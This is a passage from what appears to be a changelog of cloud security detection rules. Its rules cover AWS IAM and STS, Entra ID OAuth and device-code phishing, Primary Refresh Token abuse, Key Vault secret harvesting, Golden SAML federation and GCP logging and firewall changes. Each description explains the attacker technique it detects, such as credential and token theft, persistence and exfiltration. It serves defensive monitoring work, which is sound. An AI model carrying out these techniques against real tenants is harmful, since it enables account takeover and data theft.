a virtual firewall, and modifying configurations may allow unauthorized access. Threat actors may abuse this to establish persistence, exfiltrate data, or pivot in an AWS environment. | update | 213 + +|<> | Identifies creation of a console login profile for the AWS account root user. While CreateLoginProfile normally applies to IAM users, when performed from a temporary root session (e.g., via AssumeRoot) and the userName parameter is omitted, the profile is created for the root principal (self-assigned). Adversaries with temporary root access may add or reset the root login profile to establish persistent console access even if original access keys are rotated or disabled. Correlate with recent AssumeRoot/STS activity and validate intent with the account owner. | update | 6 + +|<> | Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. | update | 2 + +|<> | Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. | update | 8 + +|<> | Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs. | update | 8 + +|<> | Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. | update | 2 + +|<> | Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. | update | 7 + +|<> | Identifies the modification of the master password for an AWS RDS DB instance or cluster. Changing the master password is a legitimate recovery action when access is lost, but adversaries with sufficient permissions may modify it to regain access, establish persistence, bypass existing controls, or escalate privileges within a compromised environment. Because RDS does not expose the password in API responses, this operation can meaningfully alter access pathways to sensitive data stores. | update | 8 + +|<> | Identifies the creation or modification of an Amazon RDS DB instance or cluster where the "publiclyAccessible" attribute is set to "true". Publicly accessible RDS instances expose a network endpoint on the public internet, which may allow unauthorized access if combined with overly permissive security groups, weak authentication, or misconfigured IAM policies. Adversaries may enable public access on an existing instance, or create a new publicly accessible instance, to establish persistence, move data outside of controlled network boundaries, or bypass internal access controls. | update | 8 + +|<> | Identifies when the transfer lock on an AWS Route 53 domain is disabled. The transfer lock protects domains from being moved to another registrar or AWS account without authorization. Disabling this lock removes an important safeguard against domain hijacking. Adversaries who gain access to domain-management permissions may disable the lock as a precursor to unauthorized domain transfer, takeover, or service disruption. | update | 212 + +|<> | Identifies when an AWS Route 53 private hosted zone is associated with a new Virtual Private Cloud (VPC). Private hosted zones restrict DNS resolution to specific VPCs, and associating additional VPCs expands the scope of what networks can resolve internal DNS records. Adversaries with sufficient permissions may associate unauthorized VPCs to intercept, observe, or reroute internal traffic, establish persistence, or expand their visibility within an AWS environment. | update | 212 + +|<> | Identifies when an EC2 Route Table has been created. Route tables can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. | update | 213 + +|<> | Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. | update | 2 + +|<> | Identifies when a user has assumed a role using a new MFA device. Users can assume a role to obtain temporary credentials and access AWS resources using the AssumeRole API of AWS Security Token Service (STS). While a new MFA device is not always indicative of malicious behavior it should be verified as adversaries can use this technique for persistence and privilege escalation. | update | 7 + +|<> | Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships. | update | 213 + +|<> | Identifies when a service has assumed a role in AWS Security Token Service (STS). Services can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a service assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. | update | 215 + +|<> | Identifies when a user or role has assumed a role in AWS Security Token Service (STS). Users can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a user assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. | update | 8 + +|<> | Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. | update | 7 + +|<> | Identifies role chaining activity. Role chaining is when you use one assumed role to assume a second role through the AWS CLI or API. While this a recognized functionality in AWS, role chaining can be abused for privilege escalation if the subsequent assumed role provides additional privileges. Role chaining can also be used as a persistence mechanism as each AssumeRole action results in a refreshed session token with a 1 hour maximum duration. This is a new terms rule that looks for the first occurance of one role (aws.cloudtrail.user_identity.session_context.session_issuer.arn) assuming another (aws.cloudtrail.resources.arn). | update | 5 + +|<> | Identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant within a specified timeframe. This detects successful OAuth phishing campaigns, illicit consent grants, or compromised third-party applications gaining initial access to file storage. Adversaries often use malicious OAuth applications or phishing techniques to gain consent from users, allowing persistent access to organizational data repositories without traditional credential theft. | update | 5 + +|<> | Identifies access to email resources via Microsoft Graph API using an first-party application on behalf of a user principal. This behavior may indicate an adversary using a phished OAuth refresh token or a Primary Refresh Token (PRT) to access email resources. The pattern includes requests to Microsoft Graph API endpoints related to email, such as /me/mailFolders/inbox/messages or /users/{user_id}/messages, using a public client application ID and a user principal object ID. This is a New Terms rule that only signals if the application ID and user principal object ID have not been seen doing this activity in the last 14 days. | update | 5 + +|<> | Identifies Entra ID device code authentication flows where multiple user agents are observed within the same session. This pattern is indicative of device code phishing, where an attacker's polling client (e.g., Python script) and the victim's browser both appear in the same authentication session. In legitimate device code flows, the user authenticates via browser while the requesting application polls for tokens - when these have distinctly different user agents (e.g., Python Requests vs Chrome), it may indicate the code was phished and redeemed by an attacker. | update | 5 + +|<> | Detects when a service principal authenticates to Microsoft Entra ID and then lists credentials for an Azure Arc-connected Kubernetes cluster within a short time window. The `listClusterUserCredential` action retrieves tokens that enable kubectl access through the Arc Cluster Connect proxy. This sequence (service principal sign-in followed by Arc credential retrieval), represents the exact attack chain used by adversaries with stolen service principal secrets to establish a proxy tunnel into Kubernetes clusters. Service principals that authenticate externally (as opposed to managed identities) and immediately access Arc cluster credentials warrant investigation, particularly when the sign-in originates from an unexpected location or ASN. | update | 2 + +|<> | Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. | update | 7 + +|<> | Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information. | update | 8 + +|<> | Identifies potential full network packet capture in Azure. Packet Capture is an Azure Network Watcher feature that can be used to inspect network traffic. This feature can potentially be abused to read sensitive data from unencrypted internal traffic. | update | 109 + +|<> | Identifies when an Azure Automation runbook is deleted. An adversary may delete an Azure Automation runbook in order to disrupt their target's automated business operations or to remove a malicious runbook for defense evasion. | update | 107 + +|<> | Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. | update | 108 + +|<> | Identifies when events are deleted in Azure Kubernetes. Kubernetes events are objects that log any state changes. Example events are a container creation, an image pull, or a pod scheduling on a node. An adversary may delete events in Azure Kubernetes in an attempt to evade detection. | update | 108 + +|<> | Identifies the deletion of a Network Watcher in Azure. Network Watchers are used to monitor, diagnose, view metrics, and enable or disable logs for resources in an Azure virtual network. An adversary may delete a Network Watcher in an attempt to evade defenses. | update | 108 + +|<> | Identifies the creation of suppression rules in Azure. Suppression rules are a mechanism used to suppress alerts previously identified as false positives or too noisy to be in production. This mechanism can be abused or mistakenly configured, resulting in defense evasions and loss of security visibility. | update | 108 + +|<> | Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. | update | 107 + +|<> | Identifies successful GetBlob operations on Azure Storage Accounts using AzCopy user agent with SAS token authentication. AzCopy is a command-line utility for copying data to and from Azure Storage. While legitimate for data migration, adversaries may abuse AzCopy with compromised SAS tokens to exfiltrate data from Azure Storage Accounts. This rule detects the first occurrence of GetBlob operations from a specific storage account using this pattern. | update | 2 + +|<> | Identifies modifications to a Key Vault in Azure. The Key Vault is a service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. Because this data is sensitive and business critical, access to key vaults should be secured to allow only authorized applications and users. This is a New Terms rule that detects when this activity hasn't been seen by the user in a specified time frame. | update | 108 + +|<> | Identifies the deletion of a resource group in Azure, which includes all resources within the group. Deletion is permanent and irreversible. An adversary may delete a resource group in an attempt to evade defenses or intentionally destroy data. | update | 108 + +|<> | Detects when a service principal or user performs an Azure Arc cluster credential listing operation from a source IP not previously associated with that identity. The `listClusterUserCredential` action retrieves credentials for the Arc Cluster Connect proxy, enabling kubectl access through the Azure ARM API. An adversary using stolen service principal credentials will typically call this operation from infrastructure not previously seen for that SP. By tracking the combination of caller identity and source IP, this rule avoids false positives from backend services and CI/CD pipelines that rotate IPs but maintain consistent identity-to-IP patterns over time. | update | 2 + +|<> | Identifies potential abuse of actor tokens in Microsoft Entra ID audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) operations, allowing services to perform actions on behalf of users. These tokens appear in logs with the service's display name but the impersonated user's UPN. While some legitimate Microsoft operations use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed unauthorized access to Azure AD Graph API across tenants before being patched by Microsoft. | update | 6 + +|<> | Identifies device code authentication with an Azure broker client for Entra ID. Adversaries abuse Primary Refresh Tokens (PRTs) to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. PRTs are used in Conditional Access policies to enforce device-based controls. Compromising PRTs allows attackers to bypass these policies and gain unauthorized access. This rule detects successful sign-ins using device code authentication with the Entra ID broker client application ID (29d9ed98-a469-4536-ade2-f981bc1d605e). | update | 7 + +|<> | Identifies an invitation to an external user in Azure Active Directory (AD). Azure AD is extended to include collaboration, allowing you to invite people from outside your organization to be guest users in your cloud account. Unless there is a business need to provision guest access, it is best practice avoid creating guest users. Guest users could potentially be overlooked indefinitely leading to a potential vulnerability. | update | 108 + +|<> | Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. | update | 2 + +|<> | Identifies when a user is observed for the first time authenticating using the device code authentication workflow. This authentication workflow can be abused by attackers to phish users and steal access tokens to impersonate the victim. By its very nature, device code should only be used when logging in to devices without keyboards, where it is difficult to enter emails and passwords. This rule only applies to Entra ID user types and detects new users leveraging this flow. | update | 9 + +|<> | Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. | update | 9 + +|<> | Identifies an illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources on-behalf-of the user. | update | 220 + +|<> | Identifies the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application, target resource, and user principal in Microsoft Entra ID. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing Microsoft Graph or legacy Azure AD are flagged for infrequent or first time usage by a user. Additionally, any FOCI (Family of Client IDs) application accessing the deprecated Windows Azure Active Directory for the first time is flagged since this resource is rarely accessed legitimately. This pattern is indicative of OAuth phishing attacks like ConsentFix, where attackers steal authorization codes and exchange them for tokens from attacker controlled infrastructure. | update | 3 + +|<> | Detects potentially suspicious OAuth authorization activity in Microsoft Entra ID where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. | update | 7 + +|<> | Identifies more than two Microsoft Entra ID Protection alerts associated to the user principal in a short time period. Microsoft Entra ID Protection alerts are triggered by suspicious sign-in activity, such as anomalous IP addresses, risky sign-ins, or other risk detections. Multiple alerts in a short time frame may indicate an ongoing attack or compromised account. | update | 4 + +|<> | Identifies when an administrator has manually confirmed a user or sign-in as compromised in Microsoft Entra ID Protection. This indicates that an administrator has reviewed the risk detection and determined that the user account or sign-in activity is definitively compromised. This is a high-confidence indicator of account compromise and should be investigated immediately. | update | 2 + +|<> | Detects rare non-interactive sign-ins where an Entra ID client application authenticates on behalf of a principal user using an application (client) ID that is not commonly associated with that user’s historical sign-in behavior. Adversaries with stolen credentials or OAuth tokens may abuse Entra ID–managed or first-party client IDs to perform on-behalf-of (OBO) authentication, blending into legitimate cloud traffic while avoiding traditional interactive sign-in flows. This technique is commonly observed in OAuth phishing, token theft, and access broker operations, and may precede lateral movement, persistence, or data access via Microsoft Graph or other cloud resources. The rule uses a New Terms approach to identify first-seen combinations of the UPN and Client ID within a defined history window, helping surface unexpected client usage that may indicate compromised identities, malicious automation, or unauthorized application impersonation. | update | 6 + +|<> | Identifies rare instances of authentication requirements for Azure Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with unusual authentication requirements, which is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication requirements specified may not be commonly used by the user based on their historical sign-in activity. | update | 7 + +|<> | Identifies Entra ID service principal sign-ins where the workload identity and source autonomous system number (ASN) together have not appeared in recent history. Attackers who obtain application secrets or tokens often authenticate from unfamiliar hosting providers, residential or VPN egress, or networks outside normal automation footprints, which can precede data access, lateral movement, or ransomware activity in the tenant. The detection emphasizes first-seen network context for non-interactive workload identities. | update | 2 + +|<> | Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker. | update | 8 + +|<> | Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. | update | 3 + +|<> | Identifies suspicious activity reported by users in Microsoft Entra ID where users have reported suspicious activity related to their accounts, which may indicate potential compromise or unauthorized access attempts. Reported suspicious activity typically occurs during the authentication process and may involve various authentication methods, such as password resets, account recovery, or multi-factor authentication challenges. Adversaries may attempt to exploit user accounts by leveraging social engineering techniques or other methods to gain unauthorized access to sensitive information or resources. | update | 5 + +|<> | This New Terms rule focuses on the first occurrence of a client application ID (azure.graphactivitylogs.properties.app_id) making a request to Microsoft Graph API for a specific tenant ID (azure.tenant_id) and user principal object ID (azure.graphactivitylogs.properties.user_principal_object_id). This rule may helps identify unauthorized access or actions performed by compromised accounts. Advesaries may succesfully compromise a user's credentials and use the Microsoft Graph API to access resources or perform actions on behalf of the user. | update | 7 + +|<> | Identifies when a new credential is added to an application in Azure. An application may use a certificate or secret string to prove its identity when requesting a token. Multiple certificates and secrets can be added for an application and an adversary may abuse this by creating an additional authentication method to evade defenses or persist in an environment. | update | 108 + +|<> | Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. | update | 109 + +|<> | In Microsoft Entra ID, permissions to manage resources are assigned using roles. The Global Administrator is a role that enables users to have access to all administrative features in Microsoft Entra ID and services that use Microsoft Entra ID identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, and Skype for Business Online. Attackers can add users as Global Administrators to maintain access and manage all subscriptions and their settings and resources. They can also elevate privilege to User Access Administrator to pivot into Azure resources. | update | 107 + +|<> | Identifies when multi-factor authentication (MFA) is disabled for an Entra ID user account. An adversary may disable MFA for a user account in order to weaken the authentication requirements for the account. | update | 110 + +|<> | Identifies an Azure Active Directory (AD) Global Administrator role addition to a Privileged Identity Management (PIM) user account. PIM is a service that enables you to manage, control, and monitor access to important resources in an organization. Users who are assigned to the Global administrator role can read and modify any administrative setting in your Azure AD organization. | update | 108 + +|<> | Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. An adversary may add a user to a PIM role in order to maintain persistence in their target's environment or modify a PIM role to weaken their target's security controls. | update | 110 + +|<> | Identifies when a user signs in with a refresh token using the Microsoft Authentication Broker (MAB) client, followed by a Primary Refresh Token (PRT) sign-in from the same device within 1 hour from an unmanaged device. This pattern may indicate that an attacker has successfully registered a device using ROADtx and transitioned from short-term token access to long-term persistent access via PRTs. Excluding access to the Device Registration Service (DRS) ensures the PRT is being used beyond registration, often to access Microsoft 365 resources like Outlook or SharePoint. | update | 4 + +|<> | Identifies when new Service Principal credentials have been added in Microsoft Entra ID. In most organizations, credentials will be added to service principals infrequently. Hijacking an application (by adding a rogue secret or certificate) with granted permissions will allow the attacker to access data that is normally protected by MFA requirements. | update | 109 + +|<> | Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. | update | 3 + +|<> | Detects a sequence of events in Microsoft Entra ID indicative of suspicious cloud-based device registration via automated tooling like ROADtools or similar frameworks. This behavior involves adding a device via the Device Registration Service, followed by the assignment of registered users and owners — a pattern consistent with techniques used to establish persistence or acquire a Primary Refresh Token (PRT). ROADtools and similar tooling leave distinct telemetry signatures such as the `Microsoft.OData.Client` user agent. These sequences are uncommon in typical user behavior and may reflect abuse of device trust for session hijacking or silent token replay. | update | 4 + +|<> | Identifies when a user is added as an owner for an Azure application. An adversary may add a user account as an owner for an Azure application in order to grant additional permissions and modify the application's configuration using another account. | update | 108 + +|<> | Identifies when a user is added as an owner for an Azure service principal. The service principal object defines what the application can do in the specific tenant, who can access the application, and what resources the app can access. A service principal object is created when an application is given permission to access resources in a tenant. An adversary may add a user account as an owner for a service principal and use that account in order to define what an application can do in the Azure AD tenant. | update | 108 + +|<> | Identifies when an Event Hub Authorization Rule is created or updated in Azure. An authorization rule is associated with specific rights, and carries a pair of cryptographic keys. When you create an Event Hubs namespace, a policy rule named RootManageSharedAccessKey is created for the namespace. This has manage permissions for the entire namespace and it's recommended that you treat this rule like an administrative root account and don't use it in your application. | update | 108 + +|<> | Identifies when an external authentication method (EAM) is added or modified in Entra ID. EAM may allow adversaries to bypass multi-factor authentication (MFA) requirements, potentially leading to unauthorized access to user accounts and sensitive resources by using bring-your-own IdP (BYOIDP) methods. | update | 3 + +|<> | Identifies sequence of events where a Microsoft Entra ID protection alert is followed by an attempt to register a new device by the same user principal. This behavior may indicate an adversary using a compromised account to register a device, potentially leading to unauthorized access to resources or persistence in the environment. | update | 3 + +|<> | Identifies when a user is assigned a built-in administrator role in Azure RBAC (Role-Based Access Control). These roles provide significant privileges and can be abused by attackers for lateral movement, persistence, or privilege escalation. The privileged built-in administrator roles include Owner, Contributor, User Access Administrator, Azure File Sync Administrator, Reservations Administrator, and Role Based Access Control Administrator. | update | 2 + +|<> | Identifies when a user has elevated their access to User Access Administrator for their Azure Resources. The User Access Administrator role allows users to manage user access to Azure resources, including the ability to assign roles and permissions. Adversaries may target an Entra ID Global Administrator or other privileged role to elevate their access to User Access Administrator, which can lead to further privilege escalation and unauthorized access to sensitive resources. This is a New Terms rule that only signals if the user principal name has not been seen doing this activity in the last 14 days. | update | 4 + +|<> | Detects when domain federation settings are configured or modified in an Entra ID tenant via the Microsoft Graph API. Adversaries with Global Administrator or Domain Administrator privileges may add a custom domain, verify ownership, and configure it to federate authentication with an attacker-controlled identity provider. Once federated, the adversary can forge SAML or WS-Federation tokens to authenticate as any user under that domain, bypassing MFA and conditional access policies. This technique, commonly known as Golden SAML, was used by UNC2452 (APT29) during the SolarWinds campaign for persistent, stealthy access to victim tenants. | update | 2 + +|<> | Identifies the creation of role binding or cluster role bindings. You can assign these roles to Kubernetes subjects (users, groups, or service accounts) with role bindings and cluster role bindings. An adversary who has permissions to create bindings and cluster-bindings in the cluster can create a binding to the cluster-admin ClusterRole or to other high privileges roles. | update | 108 + +|<> | A statistical model has identified command-and-control (C2) beaconing activity. Beaconing can help attackers maintain stealthy communication with their C2 servers, receive instructions and payloads, exfiltrate data and maintain persistence in a network. | update | 10 + +|<> | A statistical model has identified command-and-control (C2) beaconing activity with high confidence. Beaconing can help attackers maintain stealthy communication with their C2 servers, receive instructions and payloads, exfiltrate data and maintain persistence in a network. | update | 9 + +|<> | Identifies the occurrence of a CyberArk Privileged Access Security (PAS) non-error level audit event which is recommended for monitoring by the vendor. The event.code correlates to the CyberArk Vault Audit Action Code. | update | 106 + +|<> | A machine learning job has detected data exfiltration to a particular destination port. Data transfer patterns that are outside the normal traffic patterns of an organization could indicate exfiltration over command and control channels. | update | 8 + +|<> | A machine learning job has detected high bytes of data written to an external device. In a typical operational setting, there is usually a predictable pattern or a certain range of data that is written to external devices. An unusually large amount of data being written is anomalous and can signal illicit data copying or transfer activities. | update | 8 + +|<> | A machine learning job has detected high bytes of data written to an external device via Airdrop. In a typical operational setting, there is usually a predictable pattern or a certain range of data that is written to external devices. An unusually large amount of data being written is anomalous and can signal illicit data copying or transfer activities. | update | 8 + +|<> | A machine learning job has detected a rare process writing data to an external device. Malicious actors often use benign-looking processes to mask their data exfiltration activities. The discovery of such a process that has no legitimate reason to write data to external devices can indicate exfiltration. | update | 8 + +|<> | A supervised machine learning model has identified a DNS question name that used by the SUNBURST malware and is predicted to be the result of a Domain Generation Algorithm. | update | 10 + +|<> | A population analysis machine learning job detected potential DGA (domain generation algorithm) activity. Such activity is often used by malware command and control (C2) channels. This machine learning job looks for a source IP address making DNS requests that have an aggregate high probability of being DGA activity. | update | 9 + +|<> | A supervised machine learning model has identified a DNS question name with a high probability of sourcing from a Domain Generation Algorithm (DGA), which could indicate command and control network activity. | update | 9 + +|<> | A supervised machine learning model has identified a DNS question name that is predicted to be the result of a Domain Generation Algorithm (DGA), which could indicate command and control network activity. | update | 9 + +|<> | This rule leverages the File Integrity Monitoring (FIM) integration to detect file modifications of files that are commonly used for persistence on Linux systems. The rule detects modifications to files that are commonly used for cron jobs, systemd services, message-of-the-day (MOTD), SSH configurations, shell configurations, runtime control, init daemon, passwd/sudoers/shadow files, Systemd udevd, and XDG/KDE autostart entries. To leverage this rule, the paths specified in the query need to be added to the FIM policy in the Elastic Security app. | update | 11 + +|<> | Identifies the creation of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. | update | 109 + +|<> | Identifies the creation of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A topic is used to forward messages from publishers to subscribers. | update | 109 + +|<> | Identifies when a firewall rule is created in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may create a new firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. | update | 108 + +|<> | Identifies when a firewall rule is deleted in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may delete a firewall rule in order to weaken their target's security controls. | update | 108 + +|<> | Identifies when a firewall rule is modified in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be modified to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may modify an existing firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. | update | 108 + +|<> | Identifies a Logging bucket deletion in Google Cloud Platform (GCP). Log buckets are containers that store and organize log data. A deleted bucket stays in a pending state for 7 days, and Logging continues to route logs to the bucket during that time. To stop routing logs to a deleted bucket, you can delete the log sinks that have the bucket as their destination, or modify the filter for the sinks to stop it from routing logs to the deleted bucket. An adversary may delete a log bucket to evade detection. | update | 108 + +|<> | Identifies a Logging sink deletion in Google Cloud Platform (GCP). Every time a log entry arrives, Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may delete a Logging sink to evade detection. | update | 108 + +|<> | Identifies the deletion of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. | update | 108 + +|<> | Identifies the deletion of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A publisher application creates and sends messages to a topic. Deleting a topic can interrupt message flow in the Pub/Sub pipeline. | update | 108 + +|<> | Identifies when the configuration is modified for a storage bucket in Google Cloud Platform (GCP). An adversary may modify the configuration of a storage bucket in order to weaken the security controls of their target's environment. | update | 108 + +|<> | Identifies when the Identity and Access Management (IAM) permissions are modified for a Google Cloud Platform (GCP) storage bucket. An adversary may modify the permissions on a storage bucket to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. | update | 108 + +|<> | Identifies when a Virtual Private Cloud (VPC) network is deleted in Google Cloud Platform (GCP). A VPC network is a virtual version of a physical network within a GCP project. Each VPC network has its own subnets, routes, and firewall, as well as other elements. An adversary may delete a VPC network in order to disrupt their target's network and business operations. | update | 108 + +|<> | Identifies when a virtual private cloud (VPC) route is created in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may create a route in order to impact the flow of network traffic in their target's cloud environment. | update | 108 + +|<> | Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the flow of network traffic in their target's cloud environment. | update | 108 + +|<> | Identifies a modification to a Logging sink in Google Cloud Platform (GCP). Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may update a Logging sink to exfiltrate logs to a different export destination. | update | 108 + +|<> | Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet 